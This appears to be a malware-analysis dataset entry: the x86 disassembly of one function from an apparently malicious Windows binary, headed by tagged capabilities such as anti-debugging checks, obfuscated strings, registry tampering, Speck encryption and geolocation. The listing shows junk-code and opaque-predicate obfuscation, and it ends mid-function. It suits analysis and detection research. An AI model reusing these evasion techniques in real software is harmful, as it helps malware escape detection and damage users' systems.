Function at 0x1002f99e
Capabilities:
Check for software breakpoints
Check os version
Contain obfuscated stackstrings
Delete registry value
Encrypt data using speck
Get common file path
Get geographical location
Get memory capacity
Parse pe header
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007da2f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x2568
call fcn.10079580
push esi
mov dword [ebp - 0x318], 0xfd41e559
mov dword [ebp - 0x1310], 1
mov dword [ebp - 0x1374], 0xffff
cmp dword [ebp - 0x318], 0
je 0x1002faa7
mov dword [ebp - 0x368], 0xa924c000
mov dword [ebp - 0x136c], 0xffffffff
mov dword [ebp - 0x1510], 0x3dc99cdf
mov eax, dword [ebp - 0x318]
add eax, dword [ebp - 0x368]
jne 0x1002fa1f
push 3
pop eax
test eax, eax
je 0x1002fa7d
mov eax, dword [ebp - 0x368]
neg eax
je 0x1002fa7d
mov eax, dword [ebp - 0x368]
sub eax, dword [ebp - 0x318]
sub eax, dword [ebp - 0x368]
jne 0x1002fa4f
cmp dword [ebp - 0x318], 0
jne 0x1002fa4f
and dword [ebp - 0x980], 0
jmp 0x1002fa59
mov dword [ebp - 0x980], 1
mov eax, dword [ebp - 0x980]
mov dword [ebp - 0x1310], eax
cmp dword [ebp - 0x1310], 0xaaf5
jg 0x1002fa7d
mov dword [ebp - 0x1318], 1
jmp 0x1002fa84
and dword [ebp - 0x1318], 0
mov eax, dword [ebp - 0x1318]
mov dword [ebp - 0x136c], eax
mov eax, dword [ebp - 0x136c]
add eax, dword [ebp - 0x318]
mov dword [ebp - 0x1510], eax
jmp 0x1002fb38
mov dword [ebp - 0x240], 0x3d6c
mov dword [ebp - 0x1600], 0x6a530863
mov eax, dword [ebp - 0x240]
mov dword [ebp - 0x1374], eax
mov eax, dword [ebp - 0x1374]
cmp dword [ebp - 0x240], eax
jge 0x1002fae1
mov dword [ebp - 0x137c], 1
jmp 0x1002fae8
and dword [ebp - 0x137c], 0
mov eax, dword [ebp - 0x137c]
mov dword [ebp - 0x1600], eax
mov dword [ebp - 0x240], 0
jmp 0x1002fb0d
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0x1f
jle 0x1002fb38
mov byte [ebp - 0x23a], 0
movzx eax, byte [ebp - 0x23a]
test eax, eax
je 0x1002fb36
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
jmp 0x1002fb00
mov byte [ebp - 0x233], 0
movzx eax, byte [ebp - 0x233]
test eax, eax
je 0x1002fb5e
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetDIBits]
cmp dword [ebp + 0x10], 0
jbe 0x1002febc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002febc
mov dword [ebp - 0x21c], 0xac204e2
mov dword [ebp - 0x214], 0x3888
mov dword [ebp - 0x2b4], 0xfffffffc
mov dword [ebp - 0x21c], 0
jmp 0x1002fbab
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0x15
jg 0x1002fe14
mov dword [ebp - 0x20c], 0xffffffff
mov dword [ebp - 0x142c], 0x19b2
mov dword [ebp - 0x1618], 0x1000a228
cmp dword [ebp - 0x142c], 0x1c86
jle 0x1002fd0c
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MoveWindow]
and dword [ebp - 0x6c4], 0
jmp 0x1002fc0e
mov eax, dword [ebp - 0x6c4]
inc eax
mov dword [ebp - 0x6c4], eax
cmp dword [ebp - 0x6c4], 0x28a5
jge 0x1002fcfe
and dword [ebp - 0x374], 0
jmp 0x1002fc34
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x6bfc
jge 0x1002fcf9
and dword [ebp - 0x5ac], 0
jmp 0x1002fc5a
mov eax, dword [ebp - 0x5ac]
inc eax
mov dword [ebp - 0x5ac], eax
cmp dword [ebp - 0x5ac], 0x4e3d
jge 0x1002fcf4
and dword [ebp - 0x37c], 0
jmp 0x1002fc80
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x521b
jge 0x1002fcef
mov eax, dword [ebp - 0x6c4]
sub eax, dword [ebp - 0x374]
sub eax, dword [ebp - 0x5ac]
add eax, dword [ebp - 0x37c]
cdq
mov dword [ebp - 0x163c], eax
mov dword [ebp - 0x1638], edx
push dword [ebp - 0x1638]
push dword [ebp - 0x163c]
lea ecx, [ebp - 0x2544]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1608], eax
mov ecx, dword [ebp - 0x1608]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2544]
call fcn.1001d534
jmp 0x1002fc73
jmp 0x1002fc4d
jmp 0x1002fc27
jmp 0x1002fc01
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
mov dword [ebp - 0x20c], 0xb
jmp 0x1002fd25
mov eax, dword [ebp - 0x20c]
dec eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xfffffffd
jge 0x1002fdf7
mov dword [ebp - 0x1610], 0xfffffffd
cmp dword [ebp - 0x21c], 0
je 0x1002fd9b
cmp dword [ebp - 0x21c], 0
je 0x1002fd71
mov eax, dword [ebp - 0x20c]
cmp dword [ebp - 0x214], eax
je 0x1002fd71
cmp dword [ebp - 0x20c], 0
je 0x1002fd71
mov dword [ebp - 0x1384], 1
jmp 0x1002fd78
and dword [ebp - 0x1384], 0
mov eax, dword [ebp - 0x1384]
mov dword [ebp - 0x2b4], eax
mov eax, dword [ebp - 0x2b4]
sub eax, dword [ebp - 0x214]
je 0x1002fd9b
mov eax, 0x34111d01
test eax, eax
jne 0x1002fdad
cmp dword [ebp - 0x20c], 0
jne 0x1002fdad
and dword [ebp - 0x138c], 0
jmp 0x1002fdb7
mov dword [ebp - 0x138c], 1
mov eax, dword [ebp - 0x138c]
mov dword [ebp - 0x1610], eax
mov dword [ebp - 0x214], 0
jmp 0x1002fddc
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x3a
jg 0x1002fdf2
cmp dword [ebp - 0x2b4], 0
je 0x1002fdf0
jmp 0x1002fdf2
jmp 0x1002fdcf
jmp 0x1002fd18
cmp dword [ebp - 0x142c], 0x1985
jge 0x1002fe0f
push dword [ebp - 0x1618]
call fcn.10067b63
pop ecx
jmp 0x1002fb9e
mov eax, dword [ebp - 0x2b4]
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jb 0x1002fe71
mov dword [ebp - 0x754], 0
jmp 0x1002fe42
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 4
jge 0x1002fe5e
mov eax, dword [ebp - 0x754]
mov dword [ebp + eax*4 - 0x2210], 0
jmp 0x1002fe35
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2210], 0x61a6b719
jmp 0x1002fea8
mov dword [ebp - 0x1620], 0x6a6c65b0
mov eax, dword [ebp - 0x1620]
cmp dword [ebp - 0x214], eax
jge 0x1002fe95
mov dword [ebp - 0x1388], 1
jmp 0x1002fe9c
and dword [ebp - 0x1388], 0
mov eax, dword [ebp - 0x1388]
mov dword [ebp - 0x21c], eax
movzx eax, word [ebp + 0x10]
push eax
push dword [ebp + 8]
call fcn.1002b34e
pop ecx
pop ecx
jmp 0x100401e7
mov dword [ebp - 0x10], 0x46db
mov dword [ebp - 0xec4], 0x79e0
mov dword [ebp - 0x1630], 0x1000a240
cmp dword [ebp - 0xec4], 0x79f1
jle 0x1002ff8d
and dword [ebp - 0x384], 0
jmp 0x1002fefd
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x5dfd
jge 0x1002ff8d
and dword [ebp - 0x5b4], 0
jmp 0x1002ff23
mov eax, dword [ebp - 0x5b4]
inc eax
mov dword [ebp - 0x5b4], eax
cmp dword [ebp - 0x5b4], 0x5bf5
jge 0x1002ff88
mov eax, dword [ebp - 0x384]
mov ecx, dword [ebp - 0x5b4]
shl eax, cl
cdq
mov dword [ebp - 0x1648], eax
mov dword [ebp - 0x1644], edx
push dword [ebp - 0x1644]
push dword [ebp - 0x1648]
lea ecx, [ebp - 0x2574]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1628], eax
mov ecx, dword [ebp - 0x1628]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2574]
call fcn.1001d534
jmp 0x1002ff16
jmp 0x1002fef0
mov dword [ebp - 0x150], 0x61f66568
cmp dword [ebp - 0xec4], 0x7702
jge 0x1002ffaf
push dword [ebp - 0x1630]
call fcn.10067b63
pop ecx
mov dword [ebp - 0x98], 7
mov dword [ebp - 0x2b8], 0x948eca1a
push 3
lea ecx, [ebp - 0x1c78]
call fcn.1001d86d
and dword [ebp - 4], 0
mov dword [ebp - 0x1e6c], 0x7ef217ed
mov dword [ebp - 0x31c], 0xb647b0cb
mov dword [ebp - 0xcc], 0
jmp 0x10030001
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 1
jge 0x1003001d
mov eax, dword [ebp - 0xcc]
mov dword [ebp + eax*4 - 0x6d4], 0x940c9ba5
jmp 0x1002fff4
mov dword [ebp - 0xcc], 0
jmp 0x10030036
mov eax, dword [ebp - 0xcc]
inc eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 3
jge 0x10030058
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x1c78]
call fcn.1001d90b
mov dword [eax], 0xd97b
jmp 0x10030029
mov eax, dword [ebp - 0x10]
add eax, 0xfac1
cmp eax, dword [ebp - 0x10]
je 0x10030071
mov dword [ebp - 0x12f0], 1
jmp 0x10030078
and dword [ebp - 0x12f0], 0
cmp dword [ebp - 0x12f0], 9
jle 0x1003008d
mov dword [ebp - 0x948], 1
jmp 0x10030094
and dword [ebp - 0x948], 0
mov eax, dword [ebp - 0x10]
cmp eax, dword [ebp - 0x948]
jl 0x100300ab
mov dword [ebp - 0x12f8], 1
jmp 0x100300b2
and dword [ebp - 0x12f8], 0
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x12f8]
cmp eax, dword [ebp - 0x10]
je 0x100300cc
mov dword [ebp - 0x950], 1
jmp 0x100300d3
and dword [ebp - 0x950], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x950], eax
je 0x100300ea
mov dword [ebp - 0x1300], 1
jmp 0x100300f1
and dword [ebp - 0x1300], 0
cmp dword [ebp - 0x1300], 0xd1022782
jbe 0x10030109
mov dword [ebp - 0x1308], 1
jmp 0x10030110
and dword [ebp - 0x1308], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
cmp eax, dword [ebp - 0x1308]
jle 0x1003038b
mov dword [ebp - 0x160], 0x821342f3
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0x1e00], eax
cmp dword [ebp - 0x10], 0
je 0x1003015c
mov eax, 0x551b32e2
test eax, eax
je 0x1003015c
mov dword [ebp - 0x95c], 1
jmp 0x10030163
and dword [ebp - 0x95c], 0
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0x95c]
je 0x1003017d
mov dword [ebp - 0x117c], 1
jmp 0x10030184
and dword [ebp - 0x117c], 0
cmp dword [ebp - 0x117c], 0x80ee91b7
ja 0x1003019c
mov dword [ebp - 0x964], 1
jmp 0x100301a3
and dword [ebp - 0x964], 0
mov eax, dword [ebp - 0x964]
mov dword [ebp - 0x150], eax
imul eax, dword [ebp - 0x150], 0xc193
cmp eax, dword [ebp - 0x10]
jge 0x100301ca
mov dword [ebp - 0xecc], 1
jmp 0x100301d1
and dword [ebp - 0xecc], 0
mov eax, dword [ebp - 0x160]
cmp eax, dword [ebp - 0xecc]
jle 0x100301eb
mov dword [ebp - 0x96c], 1
jmp 0x100301f2
and dword [ebp - 0x96c], 0
mov eax, dword [ebp - 0x160]
cmp dword [ebp - 0x96c], eax
jne 0x1003020c
mov dword [ebp - 0x13e0], 1
jmp 0x10030213
and dword [ebp - 0x13e0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x13e0]
mov dword [ebp + eax - 0x6d4], ecx
mov dword [ebp - 0x10], 0
jmp 0x10030236
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x1a
je 0x10030386
mov dword [ebp - 0x1930], 1
cmp dword [ebp - 0x98], 0
je 0x10030258
jmp 0x10030386
mov dword [ebp - 0x160], 7
jmp 0x10030271
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 7
jne 0x10030381
mov dword [ebp - 0x98], 0
jmp 0x10030297
mov eax, dword [ebp - 0x98]
dec eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 0xfffffffe
jle 0x1003037c
mov dword [ebp - 0x974], 0xf5c
mov dword [ebp - 0x1920], 0x1000a2a8
cmp dword [ebp - 0x974], 0x10cc
jle 0x1003033c
and dword [ebp - 0x38c], 0
jmp 0x100302da
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 0xd8d
jge 0x1003033c
and dword [ebp - 0x6cc], 0
jmp 0x100302fc
mov eax, dword [ebp - 0x6cc]
inc eax
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0x74e4
jge 0x1003033a
mov eax, dword [ebp - 0x38c]
imul eax, dword [ebp - 0x6cc]
cdq
mov dword [ebp - 0x1654], eax
mov dword [ebp - 0x1650], edx
push dword [ebp - 0x1650]
push dword [ebp - 0x1654]
mov ecx, 0x10082bb8
call fcn.1001d55e
jmp 0x100302ef
jmp 0x100302cd
mov dword [ebp - 0x1928], 0xfffffffb
cmp dword [ebp - 0x974], 0xb81
jge 0x10030362
mov edx, dword [ebp - 0x1920]
mov ecx, 0x10082bb8
call fcn.100202a3
cmp dword [ebp - 0x1928], 0
je 0x1003036d
jmp 0x1003037c
mov dword [ebp - 0x1930], 1
jmp 0x1003028a
jmp 0x10030264
jmp 0x1003022f
jmp 0x10030533
mov dword [ebp - 0x394], 0x18b01197
mov dword [ebp - 0xed4], 0x828e972c
mov byte [ebp - 0x22b], 0
movzx eax, byte [ebp - 0x22b]
test eax, eax
je 0x100303bf
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x394]
mov dword [ebp + eax - 0x6d4], ecx
mov eax, dword [ebp - 0x394]
mov dword [ebp - 0xed4], eax
mov eax, dword [ebp - 0xed4]
add eax, dword [ebp - 0x98]
je 0x100303fe
cmp dword [ebp - 0x10], 0
je 0x100303fe
mov dword [ebp - 0x97c], 1
jmp 0x10030405
and dword [ebp - 0x97c], 0
cmp dword [ebp - 0x97c], 0
jne 0x10030420
cmp dword [ebp - 0x150], 0
jne 0x10030420
and dword [ebp - 0x1184], 0
jmp 0x1003042a
mov dword [ebp - 0x1184], 1
mov eax, dword [ebp - 0x1184]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xa3ce
je 0x1003044e
mov dword [ebp - 0x984], 1
jmp 0x10030455
and dword [ebp - 0x984], 0
mov eax, dword [ebp - 0x984]
sub eax, 0x4d257e7e
cmp eax, dword [ebp - 0x394]
jg 0x10030474
mov dword [ebp - 0xedc], 1
jmp 0x1003047b
and dword [ebp - 0xedc], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xedc], eax
jge 0x10030492
mov dword [ebp - 0x98c], 1
jmp 0x10030499
and dword [ebp - 0x98c], 0
mov eax, dword [ebp - 0x394]
cmp eax, dword [ebp - 0x98c]
jl 0x100304b3
mov dword [ebp - 0x12dc], 1
jmp 0x100304ba
and dword [ebp - 0x12dc], 0
mov eax, dword [ebp - 0x12dc]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0x98], eax
jge 0x100304dd
mov dword [ebp - 0x1938], 1
jmp 0x100304e4
and dword [ebp - 0x1938], 0
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1fcc], eax
or eax, 0xffffffff
jne 0x10030502
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x6d4], 0
je 0x10030517
cmp dword [ebp - 0x2b8], 0
je 0x10030517
mov dword [ebp - 0x994], 1
jmp 0x1003051e
and dword [ebp - 0x994], 0
push 1
lea ecx, [ebp - 0x1c78]
call fcn.1001d90b
mov ecx, dword [ebp - 0x994]
mov dword [eax], ecx
mov dword [ebp - 0xeec], 0x77b0
mov dword [ebp - 0x1948], 0x1000a308
cmp dword [ebp - 0xeec], 0x7a2f
jle 0x1003066d
and dword [ebp - 0x79c], 0
jmp 0x1003056d
mov eax, dword [ebp - 0x79c]
inc eax
mov dword [ebp - 0x79c], eax
cmp dword [ebp - 0x79c], 0x6825
jge 0x1003065f
and dword [ebp - 0x5bc], 0
jmp 0x10030593
mov eax, dword [ebp - 0x5bc]
inc eax
mov dword [ebp - 0x5bc], eax
cmp dword [ebp - 0x5bc], 0x796d
jge 0x1003065a
and dword [ebp - 0x39c], 0
jmp 0x100305b9
mov eax, dword [ebp - 0x39c]
inc eax
mov dword [ebp - 0x39c], eax
cmp dword [ebp - 0x39c], 0x2151
jge 0x10030655
and dword [ebp - 0x3a4], 0
jmp 0x100305df
mov eax, dword [ebp - 0x3a4]
inc eax
mov dword [ebp - 0x3a4], eax
cmp dword [ebp - 0x3a4], 0x91d
jge 0x10030650
mov eax, dword [ebp - 0x5bc]
mov ecx, dword [ebp - 0x39c]
shl eax, cl
and eax, dword [ebp - 0x79c]
or eax, dword [ebp - 0x3a4]
cdq
mov dword [ebp - 0x1660], eax
mov dword [ebp - 0x165c], edx
push dword [ebp - 0x165c]
push dword [ebp - 0x1660]
lea ecx, [ebp - 0x2418]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1940], eax
mov ecx, dword [ebp - 0x1940]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x2418]
call fcn.1001d534
jmp 0x100305d2
jmp 0x100305ac
jmp 0x10030586
jmp 0x10030560
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharWidthA]
mov dword [ebp - 0x2b8], 0
jmp 0x10030686
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 2
jg 0x1003080a
mov dword [ebp - 0x3ac], 0x91eb
push 1
lea ecx, [ebp - 0x1c54]
call fcn.1001d86d
mov byte [ebp - 4], 1
mov dword [ebp - 0x5c4], 0
jmp 0x100306c7
mov eax, dword [ebp - 0x5c4]
inc eax
mov dword [ebp - 0x5c4], eax
cmp dword [ebp - 0x5c4], 1
jge 0x100306e9
push dword [ebp - 0x5c4]
lea ecx, [ebp - 0x1c54]
call fcn.1001d90b
mov dword [eax], 0xd01971a0
jmp 0x100306ba
xor eax, eax
jne 0x100306ff
cmp dword [ebp - 0x3ac], 0
jne 0x100306ff
and dword [ebp - 0x804], 0
jmp 0x10030709
mov dword [ebp - 0x804], 1
push 0
lea ecx, [ebp - 0x1c54]
call fcn.1001d90b
mov ecx, dword [ebp - 0x804]
mov dword [eax], ecx
cmp dword [ebp - 0x804], 0xffffffff
je 0x10030733
mov dword [ebp - 0xee4], 1
jmp 0x1003073a
and dword [ebp - 0xee4], 0
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xee4], eax
je 0x10030751
mov dword [ebp - 0x99c], 1
jmp 0x10030758
and dword [ebp - 0x99c], 0
mov eax, dword [ebp - 0x3ac]
add eax, dword [ebp - 0x3ac]
cmp eax, dword [ebp - 0x99c]
jg 0x10030781
cmp dword [ebp - 0x150], 0
je 0x10030781
mov dword [ebp - 0x118c], 1
jmp 0x10030788
and dword [ebp - 0x118c], 0
mov eax, dword [ebp - 0x118c]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 0x3ac]
cmp dword [ebp - 0x98], eax
je 0x100307ae
mov dword [ebp - 0x9a4], 1
jmp 0x100307b5
and dword [ebp - 0x9a4], 0
mov eax, dword [ebp - 0x9a4]
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x31c], 2
jmp 0x100307da
mov eax, dword [ebp - 0x31c]
dec eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0
jl 0x100307f6
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x6d4], 0xc4f9076b
jmp 0x100307cd
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x1c54]
call fcn.1001d8ef
jmp 0x10030679
cmp dword [ebp - 0xeec], 0x7747
jge 0x10030822
push dword [ebp - 0x1948]
call fcn.10067b63
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c78]
call fcn.1001d8ef
cmp dword [ebp + 0x10], 0
jne 0x10034b51
mov edx, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
call fcn.10021202
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x1e08], 0xffffffff
mov dword [ebp - 0x1ffc], 0xe125d16d
mov dword [ebp - 0x1e10], 0x9aa810d2
mov dword [ebp - 0x1fdc], 0xffffffff
mov dword [ebp - 0x9ac], 0x8932
mov dword [ebp - 0x3b4], 0
jmp 0x10030897
mov eax, dword [ebp - 0x3b4]
inc eax
mov dword [ebp - 0x3b4], eax
cmp dword [ebp - 0x3b4], 2
jge 0x100308b3
mov eax, dword [ebp - 0x3b4]
mov dword [ebp + eax*4 - 0x21e8], 0x4288a137
jmp 0x1003088a
mov eax, dword [ebp - 0x9ac]
dec eax
mov dword [ebp - 0x9ac], eax
mov byte [ebp - 0x215], 0
movzx eax, byte [ebp - 0x215]
test eax, eax
je 0x100308e2
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetRect]
mov dword [ebp - 0x248], 2
mov dword [ebp - 0x3bc], 0
mov dword [ebp - 0xb0], 0x37f4a1d2
mov dword [ebp - 0x1e18], 0xffffffff
mov dword [ebp - 0xb0], 1
mov eax, dword [ebp - 0xb0]
imul eax, dword [ebp - 0x248]
cmp eax, 0xffffffff
jge 0x10030932
mov dword [ebp - 0x1950], 1
jmp 0x10030939
and dword [ebp - 0x1950], 0
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x2004], eax
mov eax, dword [ebp - 0x248]
mov dword [ebp - 0x1e20], eax
cmp dword [ebp - 0x248], 0
je 0x100309fc
push 2
lea ecx, [ebp - 0x1cd8]
call fcn.1001d86d
mov dword [ebp - 4], 2
mov dword [ebp - 0x5cc], 0
jmp 0x1003098b
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 2
jge 0x100309ad
push dword [ebp - 0x5cc]
lea ecx, [ebp - 0x1cd8]
call fcn.1001d90b
mov dword [eax], 1
jmp 0x1003097e
mov dword [ebp - 0xb0], 0
jmp 0x100309c6
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x100309e8
push dword [ebp - 0xb0]
lea ecx, [ebp - 0x1cd8]
call fcn.1001d90b
mov dword [eax], 0xffff
jmp 0x100309b9
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1cd8]
call fcn.1001d8ef
jmp 0x10030b3a
mov dword [ebp - 0x1320], 0x265d
mov dword [ebp - 0x1958], 0x435d7d23
mov eax, dword [ebp - 0xb0]
sub eax, dword [ebp - 0x248]
je 0x10030a49
mov dword [ebp - 0x3bc], 0xb7dc4b54
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x1320], eax
cmp dword [ebp - 0x1320], 0
je 0x10030a49
mov dword [ebp - 0x9b4], 1
jmp 0x10030a50
and dword [ebp - 0x9b4], 0
cmp dword [ebp - 0x9b4], 0x60039c1d
jg 0x10030a68
mov dword [ebp - 0xef4], 1
jmp 0x10030a6f
and dword [ebp - 0xef4], 0
mov eax, dword [ebp - 0x248]
cmp dword [ebp - 0xef4], eax
jl 0x10030a89
mov dword [ebp - 0x9bc], 1
jmp 0x10030a90
and dword [ebp - 0x9bc], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0x9bc], eax
jge 0x10030aaa
mov dword [ebp - 0x1194], 1
jmp 0x10030ab1
and dword [ebp - 0x1194], 0
cmp dword [ebp - 0x1194], 0xf205
jg 0x10030ac9
mov dword [ebp - 0x9c4], 1
jmp 0x10030ad0
and dword [ebp - 0x9c4], 0
cmp dword [ebp - 0x9c4], 0xfffffffd
je 0x10030ae5
mov dword [ebp - 0xefc], 1
jmp 0x10030aec
and dword [ebp - 0xefc], 0
mov eax, dword [ebp - 0xb0]
cmp dword [ebp - 0xefc], eax
jge 0x10030b06
mov dword [ebp - 0x9cc], 1
jmp 0x10030b0d
and dword [ebp - 0x9cc], 0
mov eax, dword [ebp - 0x9cc]
sub eax, 0x5823
mov dword [ebp - 0x1958], eax
mov byte [ebp - 0x23b], 0
movzx eax, byte [ebp - 0x23b]
test eax, eax
je 0x10030b3a
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov eax, dword [ebp - 0x3bc]
mov dword [ebp - 0x3bc], eax
mov dword [ebp - 0x1fec], 0x6bdde0bc
mov byte [ebp - 0x21d], 0
movzx eax, byte [ebp - 0x21d]
test eax, eax
je 0x10030b6a
push 0
call dword [sym.imp.GDI32.dll_EndDoc]
mov byte [ebp - 0x22d], 0
movzx eax, byte [ebp - 0x22d]
test eax, eax
je 0x10030b84
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [section.ycflqf], 0
jne 0x100348dc
mov dword [ebp - 0xe4], 0xbe8e56f9
mov dword [ebp - 0x1970], 0xfb02
mov dword [ebp - 0x134], 0
jmp 0x10030bbe
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 1
jge 0x10030bda
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x8d4], 0x6bdde0bc
jmp 0x10030bb1
mov dword [ebp - 0x134], 0
jmp 0x10030bf3
mov eax, dword [ebp - 0x134]
inc eax
mov dword [ebp - 0x134], eax
cmp dword [ebp - 0x134], 4
jge 0x10030c0f
mov eax, dword [ebp - 0x134]
mov dword [ebp + eax*4 - 0x2100], 0x35a12a2e
jmp 0x10030be6
mov dword [ebp - 0xe4], 0
jmp 0x10030c28
mov eax, dword [ebp - 0xe4]
dec eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jl 0x10030c4a
mov dword [ebp - 0x12e4], 0xfffffff7
mov eax, dword [ebp - 0x12e4]
inc eax
mov dword [ebp - 0x12e4], eax
jmp 0x10030c1b
mov dword [ebp - 0x9e4], 0x7a32
mov dword [ebp - 0x1980], 0x1000a358
cmp dword [ebp - 0x9e4], 0x7bd5
jle 0x10030d7f
and dword [ebp - 0x75c], 0
jmp 0x10030c84
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0x6565
jge 0x10030d7f
and dword [ebp - 0x3c4], 0
jmp 0x10030caa
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0x1203
jge 0x10030d7a
and dword [ebp - 0x5d4], 0
jmp 0x10030cd0
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 0x47bc
jge 0x10030d75
and dword [ebp - 0x3cc], 0
jmp 0x10030cf6
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0x21c9
jge 0x10030d70
mov eax, dword [ebp - 0x75c]
cdq
idiv dword [ebp - 0x3c4]
mov ecx, edx
mov eax, dword [ebp - 0x5d4]
cdq
idiv dword [ebp - 0x3cc]
add ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x166c], eax
mov dword [ebp - 0x1668], edx
push dword [ebp - 0x1668]
push dword [ebp - 0x166c]
lea ecx, [ebp - 0x22c8]
call fcn.1001072e
pop ecx
pop ecx
mov dword [ebp - 0x1960], eax
mov ecx, dword [ebp - 0x1960]
call fcn.1001d53e
push eax
call fcn.10067b63
pop ecx
lea ecx, [ebp - 0x22c8]
call fcn.1001d534
jmp 0x10030ce9
jmp 0x10030cc3
jmp 0x10030c9d
jmp 0x10030c77
mov dword [ebp - 0xe4], 0
jmp 0x10030d98
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xf
jle 0x10030f07
mov dword [ebp - 0x2ac], 1
mov dword [ebp - 0x1978], 8
cmp dword [ebp - 0x2ac], 0
je 0x10030eef
mov eax, dword [ebp - 0x2ac]
push 4
pop ecx
imul ecx, ecx, 0
imul eax, dword [ebp + ecx - 0x8d4]
test eax, eax
jne 0x10030df7
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x8d4], 0
jne 0x10030df7
